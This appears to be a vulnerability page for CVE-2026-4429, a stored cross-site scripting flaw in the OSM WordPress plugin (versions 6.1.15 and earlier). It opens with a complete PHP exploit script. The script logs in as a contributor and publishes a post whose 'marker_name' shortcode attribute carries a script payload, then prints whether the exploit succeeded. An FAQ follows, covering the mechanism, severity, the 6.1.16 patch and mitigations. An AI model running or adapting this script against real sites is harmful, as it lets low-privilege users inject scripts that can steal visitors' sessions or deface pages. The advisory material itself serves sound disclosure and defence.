// CVE-2026-4429 - OSM <= 6.1.15 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'marker_name' Shortcode Attribute

<?php

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload to inject via marker_name attribute
$payload = '<script>alert(document.domain)</script>';

// Create a new post with malicious shortcode
$post_data = array(
    'post_title' => 'Vulnerable OSM Map',
    'post_content' => '[osm_map_v3 marker_name="' . $payload . '"]',
    'post_status' => 'publish',
    'post_type' => 'post'
);

// Initialize cURL session
$ch = curl_init();

// First, authenticate and get WordPress cookies
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => 'http://vulnerable-wordpress-site.com/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);

// Check if authentication succeeded by looking for dashboard elements
if (strpos($response, 'wp-admin') === false) {
    die('Authentication failed');
}

// Now create the malicious post
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));

$response = curl_exec($ch);

// Check if post creation succeeded
if (strpos($response, 'Post published') !== false || strpos($response, 'post-') !== false) {
    echo 'Exploit successful: Post created with malicious OSM shortcoden';
    echo 'Visit the post to trigger the XSS payload.n';
} else {
    echo 'Post creation may have failed. Check response.n';
}

curl_close($ch);

?>

Frequently Asked Questions

What is CVE-2026-4429?
Overview of the vulnerability
CVE-2026-4429 is a stored cross-site scripting (XSS) vulnerability in the OSM plugin for WordPress. It allows authenticated users with Contributor-level access or higher to inject arbitrary JavaScript into pages via the ‘marker_name’ and ‘file_color_list’ shortcode attributes.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping in the OSM plugin. Attackers can use the [osm_map_v3] shortcode to include malicious scripts that execute when other users view the affected pages.
Who is affected by CVE-2026-4429?
Identifying vulnerable users
Any WordPress site using the OSM plugin version 6.1.15 or earlier is affected. This includes sites where users with Contributor-level access can create or edit posts containing the vulnerable shortcode.
How can I check if my site is vulnerable?
Steps to identify vulnerability
To check if your site is vulnerable, verify the installed version of the OSM plugin in your WordPress admin panel. If it is version 6.1.15 or earlier, your site is at risk.
How can I fix CVE-2026-4429?
Updating the plugin
The vulnerability has been patched in version 6.1.16 of the OSM plugin. Updating to this version or later will mitigate the risk associated with this vulnerability.
What if I cannot update the plugin immediately?
Mitigation strategies
If immediate updates are not possible, consider disabling the OSM plugin until you can apply the patch. Additionally, restrict access to Contributor-level users or higher to prevent exploitation.
What is the risk level of CVE-2026-4429?
Understanding the CVSS score
CVE-2026-4429 has a CVSS score of 6.4, indicating a medium severity vulnerability. This means while it is not the highest risk, it can still lead to significant issues if exploited, including session hijacking and website defacement.
How does the proof of concept demonstrate the issue?
Example of exploitation
The proof of concept shows how an authenticated user can create a post with a malicious shortcode that includes a JavaScript payload. When another user views this post, the script executes, demonstrating the potential impact of the vulnerability.
What are the consequences of exploitation?
Potential impacts on the site
Successful exploitation can allow attackers to execute scripts in the context of the victim’s browser. This could lead to stealing session cookies, performing unauthorized actions, or redirecting users to malicious sites.
What are 'marker_name' and 'file_color_list'?
Shortcode attributes involved
‘marker_name’ and ‘file_color_list’ are attributes of the [osm_map_v3] shortcode used in the OSM plugin. They are intended for customizing map markers and colors but lack proper validation, leading to the XSS vulnerability.
What security improvements were made in the patch?
Details of the update
The patch in version 6.1.16 includes input validation for the ‘marker_name’ attribute and output escaping for the ‘file_color_list’ parameter. This prevents malicious input from being processed and displayed.
How can I stay informed about vulnerabilities like this?
Best practices for security monitoring
Regularly check security advisory websites, subscribe to WordPress security newsletters, and monitor plugin updates. Implementing a security plugin can also help detect vulnerabilities and provide alerts.

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